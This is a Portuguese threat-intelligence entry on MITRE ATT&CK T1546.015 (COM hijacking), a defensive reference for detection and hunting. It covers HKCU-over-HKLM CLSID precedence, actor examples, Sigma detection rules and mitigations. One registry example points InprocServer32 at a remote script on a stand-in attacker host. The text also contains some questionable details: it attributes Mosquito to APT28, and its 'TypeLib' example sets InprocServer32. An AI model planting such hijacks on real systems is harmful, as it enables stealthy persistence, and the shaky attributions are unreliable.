# T1546.015 - Component Object Model Hijacking
## Técnica Pai
Esta é uma sub-técnica de [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]]. A técnica pai abrange mecanismos de persistência e escalonamento de privilégios baseados em execução acionada por eventos ou interações do sistema operacional.
## Descrição
O **Component Object Model (COM)** é uma arquitetura fundamental do Windows que permite a comunicação e interoperabilidade entre componentes de software por meio do sistema operacional. Cada componente COM é identificado por um **CLSID** (Class Identifier), um GUID único armazenado no registro do Windows, e referênciado por aplicações que necessitam de suas funcionalidades - como renderização de documentos Office, funcionalidades de shell do Explorer, ou serviços do sistema.
O COM Hijacking (T1546.015) explora o mecanismo de resolução de CLSIDs pelo Windows: quando uma aplicação solicita um objeto COM, o sistema operacional busca sua implementação no registro, verificando primeiramente `HKCU\Software\Classes\CLSID\` (escopo do usuário atual) antes de `HKLM\Software\Classes\CLSID\` (escopo global do sistema). Esta ordem de precedência é o coração da vulnerabilidade - um atacante sem privilégios elevados pode registrar um CLSID no escopo do usuário (`HKCU`) apontando para um payload malicioso, e quando qualquer aplicação legítima tentar carregar o objeto COM legítimo (registrado em `HKLM`), a versão maliciosa do usuário terá prioridade.
O resultado é **persistência sem escrita de arquivos de sistema e sem privilégios elevados**: o payload é carregado toda vez que a aplicação alvo invocar aquele CLSID - o que pode ocorrer no login do usuário (se o COM é utilizado pelo Explorer), ao abrir um documento Office, ou ao executar qualquer software que dependa do componente sequestrado. A execução ocorre no contexto do processo que carrega o COM, potencialmente com seus privilégios.
Uma variante mais sofisticada envolve o sequestro de **TypeLibs** (bibliotecas de tipos COM). Adversários modificam chaves de registro associadas a TypeLibs para redirecionar a funcionalidade legítima do objeto COM para scripts ou payloads remotos, utilizando o moniker `script:` - que permite específicar uma URL de onde o script é baixado e executado dinâmicamente. Essa variante é particularmente furtiva porque o payload permanece remoto (sem artefato local) e é atualizado a cada execução, dificultando análise forense.
O [[g0007-apt28|APT28]] (Fancy Bear), grupo russo de espionagem vinculado ao GRU, é o ator mais documentado no uso desta técnica, com múltiplas ferramentas de seu arsenal - como [[s0045-advstoreshell|ADVSTORESHELL]] e [[s0256-mosquito|Mosquito]] - implementando COM Hijacking para persistência. O [[g0010-turla|Turla]] também utiliza a técnica com sofisticação, tendo implementado o [[s0126-comrat|ComRAT]] (uma evolução do histórico Agent.BTZ) com mecanismos de persistência via COM.
## Como Funciona
O COM Hijacking opera em dois vetores principais dependendo do nível de privilégio do atacante:
**Vetor 1 - HKCU COM Hijacking (sem admin)**
O atacante identifica CLSIDs registrados em `HKLM` que são utilizados por aplicações que executam no contexto do usuário. Usando ferramentas como `ProcMon` (análise de comportamento COM) ou scripts de enumeração, identifica-se quais CLSIDs resultam em `NAME NOT FOUND` ao serem buscados em `HKCU` - esses são os candidatos perfeitos para hijack.
```
Busca pelo Windows:
1. HKCU\Software\Classes\CLSID\{CLSID-GUID}\InprocServer32 ← ATACANTE REGISTRA AQUI
2. HKCR\CLSID\{CLSID-GUID}\InprocServer32 ← legítimo (admin)
3. HKLM\Software\Classes\CLSID\{CLSID-GUID}\InprocServer32 ← legítimo (admin)
```
**Vetor 2 - TypeLib Hijacking (com variante remota)**
O atacante modifica a entrada `TypeLib` de um CLSID para apontar para um script remoto:
```
HKCU\Software\Classes\CLSID\{CLSID-GUID}\
→ InprocServer32: "script:https://attacker.com/payload.sct"
```
**Fluxo de execução típico:**
1. Atacante obtém acesso inicial (usuário comum, sem admin)
2. Enumera CLSIDs vulneráveis via ProcMon ou AutoRuns
3. Escreve chave em `HKCU\Software\Classes\CLSID\{TARGET-GUID}\InprocServer32` apontando para DLL maliciosa em diretório gravável pelo usuário
4. Quando o Explorer, um aplicativo Office ou serviço do sistema carrega o COM, a DLL maliciosa é carregada no contexto desse processo
5. O payload executa com os privilégios do processo hospedeiro - possívelmente SYSTEM se o hospedeiro for um serviço privilegiado
## Attack Flow
```mermaid
graph TB
A["Acesso Inicial<br/>usuário comum sem admin"] --> B["Enumeração de CLSIDs<br/>ProcMon / AutoRuns / scripts"]
B --> C{"Identificação de<br/>CLSID Vulnerável<br/>HKCU ausente, HKLM presente"}
C --> D["Escrita em HKCU<br/>HKCU\\Software\\Classes\\CLSID\\{GUID}"]
D --> E["Deploy da DLL/Script<br/>em diretório gravável pelo usuário"]
E --> F{"Evento que carrega<br/>o COM ocorre"}
F --> G["Explorer / Office / Serviço<br/>carrega HKCU antes de HKLM"]
G --> H["DLL Maliciosa Carregada<br/>no contexto do processo legítimo"]
H --> I["Execução no Contexto<br/>do Processo Hospedeiro"]
I --> J["Persistência Ativa<br/>cada login / uso do app"]
I --> K["Possível Privesc<br/>se hospedeiro for SYSTEM"]
J --> L["C2 / Backdoor / Exfiltração"]
K --> L
style A fill:#c0392b,color:#fff
style H fill:#e67e22,color:#fff
style I fill:#8e44ad,color:#fff
style J fill:#27ae60,color:#fff
style K fill:#f39c12,color:#fff
style L fill:#2980b9,color:#fff
```
## Exemplos de Uso
### APT28 (Fancy Bear) - ADVSTORESHELL e Mosquito
O [[g0007-apt28|APT28]], grupo russo do GRU responsável por operações de espionagem de alto perfil, implementou COM Hijacking em múltiplas ferramentas. O [[s0045-advstoreshell|ADVSTORESHELL]] (também conhecido como NETUI, EVILTOSS, Sednit) utilizou COM Hijacking para injetar código em processos legítimos. O [[s0256-mosquito|Mosquito]], um implante do APT28 descoberto pela ESET em campanhas na Europa, abusou de COM objects para persistência silenciosa em sistemas Windows de alvos diplomáticos e governamentais.
### Turla - ComRAT
O [[g0010-turla|Turla]], grupo russo com décadas de operações de espionagem, implementou COM Hijacking no [[s0126-comrat|ComRAT]] (v4), um backdoor sofisticado que utiliza o Gmail como canal de C2. A persistência via COM permite ao ComRAT sobreviver em ambientes altamente monitorados, pois o processo hospedeiro legítimo (frequentemente o Explorer) mascara a atividade maliciosa. O Turla foi responsável por ataques a governos europeus, incluindo o Ministério de Negócios Estrangeiros finlandês.
### KONNI (Grupo Lazarus)
O [[g0032-lazarus-group|Lazarus Group]] utilizou o malware [[konni|KONNI]] em campanhas que abusavam de COM objects para manter persistência em sistemas Windows. O KONNI foi utilizado em ataques a organizações russas, europeias e sul-coreanas, com foco em espionagem política e econômica. Grupos norte-coreanos têm interesse documentado em alvos brasileiros no setor financeiro e de criptomoedas.
### WarzoneRAT - Persistência via COM
O [[s0670-warzonerat|WarzoneRAT]], um RAT comercial (MaaS) amplamente utilizado por múltiplos grupos de ameaça, incluindo grupos financeiramente motivados que operam na América Latina, implementa COM Hijacking como uma das opções de mecanismo de persistência. A disponibilidade comercial deste RAT significa que a técnica está acessível a atores com capacidade técnica moderada, não apenas a APTs de nação-estado.
### SVCReady
O [[s1064-svcready|SVCReady]] é um loader de malware que utiliza COM Hijacking para persistência, documentado em campanhas de distribuição via documentos Word maliciosos. É relevante por sua cadeia de infecção que começa com phishing - vetor prevalente no Brasil - e termina em backdoors via COM.
## Detecção
### Regra Sigma - COM Hijacking via Modificação de Registro HKCU
```yaml
title: Suspeita de COM Hijacking via Registro HKCU
id: c8e4b2d9-3f56-4e78-a1bc-234567890abc
status: stable
description: |
Detecta criação ou modificação de chaves de registro em HKCU para CLSIDs
que podem indicar COM Hijacking para persistência ou escalonamento de
privilégios (T1546.015). Foca em InprocServer32 e InprocServer apontando
para caminhos incomuns.
references:
- https://attack.mitre.org/techniques/T1546/015/
- https://www.elastic.co/security-labs/hunting-for-persistence-via-microsoft-exchange-server-or-sharepoint-server
author: RunkIntel
daté: 2026-03-25
tags:
- attack.persistence
- attack.privilege_escalation
- attack.t1546.015
logsource:
product: windows
category: registry_set
detection:
selection_hkcu_clsid:
TargetObject|startswith:
- 'HKCU\Software\Classes\CLSID\'
TargetObject|contains:
- '\InprocServer32'
- '\LocalServer32'
- '\InprocHandler32'
selection_suspicious_path:
Details|contains:
- '\AppData\Local\Temp\'
- '\AppData\Roaming\'
- '\Users\Public\'
- '\ProgramData\'
- 'script:'
- 'http://'
- 'https://'
- '.sct'
selection_known_abused:
TargetObject|contains:
- '{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'
- '{BCDE0395-E52F-467C-8E3D-C4579291692E}'
- '{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}'
condition: selection_hkcu_clsid and (selection_suspicious_path or selection_known_abused)
falsepositives:
- Instaladores de software legítimo que registram DLLs em AppData
- Aplicações portáteis (portables) que se auto-registram em HKCU
- Alguns frameworks de desenvolvimento (Electron, .NET) com DLLs em AppData
level: medium
```
### Detecção via Correlação de Carga de DLL
```yaml
title: DLL Carregada de Caminho Suspeito por Processo Legítimo via COM
id: d9f5c3e0-4a67-5b89-b2cd-345678901bcd
status: experimental
description: |
Detecta processos legítimos do Windows carregando DLLs de caminhos incomuns
(AppData, Temp, Public) que podem indicar COM Hijacking.
logsource:
product: windows
category: image_load
detection:
selection_process:
Image|endswith:
- '\explorer.exe'
- '\svchost.exe'
- '\dllhost.exe'
- '\taskhost.exe'
- '\taskhostw.exe'
selection_suspicious_dll:
ImageLoaded|contains:
- '\AppData\Local\Temp\'
- '\AppData\Roaming\'
- '\Users\Public\'
condition: selection_process and selection_suspicious_dll
falsepositives:
- Software legítimo com DLLs em AppData (alguns apps modernos)
level: medium
```
### Indicadores Adicionais
- Verificar `AutoRuns` (Sysinternals) para entradas COM em `HKCU` não reconhecidas
- Monitorar o Process Monitor para eventos `RegSetValue` em `HKCU\Software\Classes\CLSID`
- Inspecionar cargas de DLL por `dllhost.exe` (host de objetos COM out-of-process)
- Usar Sysmon Event ID 12/13 (registry object creaté/delete) para cobertura abrangente
## Mitigação
| ID | Mitigação | Aplicação |
|----|-----------|-----------|
| M1022 | [[m1022-restrict-file-and-directory-permissions\|M1022 - Restrict File and Directory Permissions]] | Restringir permissões de escrita em diretórios onde DLLs de COM seriam colocadas (ex.: `System32`, `Program Files`). Garantir que usuários não possam escrever DLLs em caminhos que estejam no PATH do sistema. Usar ACLs para bloquear escrita em `HKLM\Software\Classes\CLSID` por usuários não-admin. |
| M1018 | [[m1018-user-account-management\|M1018 - User Account Management]] | Aplicar princípio do menor privilégio. Evitar que usuários operem como administradores locais. Implementar LAPS (Local Administrator Password Solution) para gerenciamento de contas locais. Auditar regularmente membros do grupo Administrators local. |
**Controles adicionais:**
- **AppLocker / WDAC**: bloquear carregamento de DLLs de diretórios de usuário (`%APPDATA%`, `%TEMP%`)
- **Attack Surface Reduction (ASR)**: habilitar regras ASR do Microsoft Defender para bloquear comportamentos de COM abuse
- **Monitoramento de registro**: implementar auditoria de objeto de registro para `HKCU\Software\Classes\CLSID` via Group Policy
- **Inventário de CLSIDs**: manter lista aprovada de CLSIDs registrados em `HKCU` - qualquer novo registro deve gerar alerta
## Contexto Brasil/LATAM
O COM Hijacking representa um vetor de ameaça relevante para o ecossistema brasileiro e latino-americano em múltiplas dimensões:
**Ransomware e Grupos Financeiramente Motivados:**
Operadores de ransomware que afetaram organizações brasileiras - como [[lockbit|LockBit]], [[black-basta|Black Basta]] e o grupo ALPHV/BlackCat - utilizam toolchains que incluem loaders com persistência via COM Hijacking. O [[s0670-warzonerat|WarzoneRAT]], disponível no modelo MaaS (Malware-as-a-Service) e utilizado por grupos brasileiros e internacionais em ataques a empresas nacionais, implementa esta técnica nativamente.
**Espionagem Corporativa:**
O Brasil é o maior mercado da América Latina e sede de empresas multinacionais em setores como energia (Petrobras), agronegócio, mineração (Vale) e finanças. Grupos como [[g0007-apt28|APT28]] e [[g0010-turla|Turla]], com histórico de espionagem econômica e política, têm capacidade e motivação para operar na região. COM Hijacking, por sua natureza furtiva e ausência de escrita em locais monitorados, é adequado para operações de longa duração.
**Fraqueza Estrutural em Ambientes Windows Corporativos:**
A grande maioria das organizações brasileiras opera em ambientes Windows com usuários que têm privilégios de administrador local - por conveniência ou por herança de configurações legadas. Esse cenário torna o COM Hijacking via `HKCU` especialmente efetivo, pois não requer escalada inicial de privilégios.
**Setores Prioritários de Atenção:**
- Setor financeiro (bancos, corretoras, fintechs): alto valor + histórico de ataques sofisticados
- Governo federal e estadual: alvos de espionagem por grupos de nação-estado
- Infraestrutura crítica (energia, telecomúnicações): alvos de grupos como [[g0064-apt33|APT33]] e [[g1001-hexane|HEXANE]]
- Indústria farmacêutica e agronegócio: espionagem de propriedade intelectual
**Recomendação para SOCs Brasileiros:**
Incluir queries de hunting para `HKCU\Software\Classes\CLSID` com `InprocServer32` em diretórios de usuário nos playbooks de threat hunting. O Sysmon com configuração apropriada (Event IDs 12, 13 para registro) e a integração com SIEM (Splunk, Microsoft Sentinel, Elastic SIEM) permitem detecção efetiva sem custo de licenciamento adicional.
## Referências
- [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]] - técnica pai
- [[t1574-007-path-interception-by-path-environment-variable|T1574 - Hijack Execution Flow]] - técnica relacionada de sequestro de execução
- [[t1055-process-injection|T1055 - Process Injection]] - técnica de injeção frequentemente combinada com COM Hijacking
- [[g0007-apt28|APT28]] - principal ator com uso documentado de COM Hijacking
- [[g0010-turla|Turla]] - grupo com ComRAT e persistência via COM
- [[g0032-lazarus-group|Lazarus Group]] - operador do KONNI com uso de COM persistence
- [[g0016-apt29|APT29]] - grupo com histórico de técnicas de persistência furtiva em Windows
- [[s0126-comrat|ComRAT]] - backdoor do Turla com persistência via COM
- [[s0045-advstoreshell|ADVSTORESHELL]] - ferramenta do APT28 com COM Hijacking
- [[s0256-mosquito|Mosquito]] - implante do APT28 com persistência via COM
- [[s0670-warzonerat|WarzoneRAT]] - RAT comercial com COM persistence usado na LATAM
- [[m1022-restrict-file-and-directory-permissions|M1022 - Restrict File and Directory Permissions]] - mitigação principal
---
*Fonte: [MITRE ATT&CK - T1546.015](https://attack.mitre.org/techniques/T1546/015)*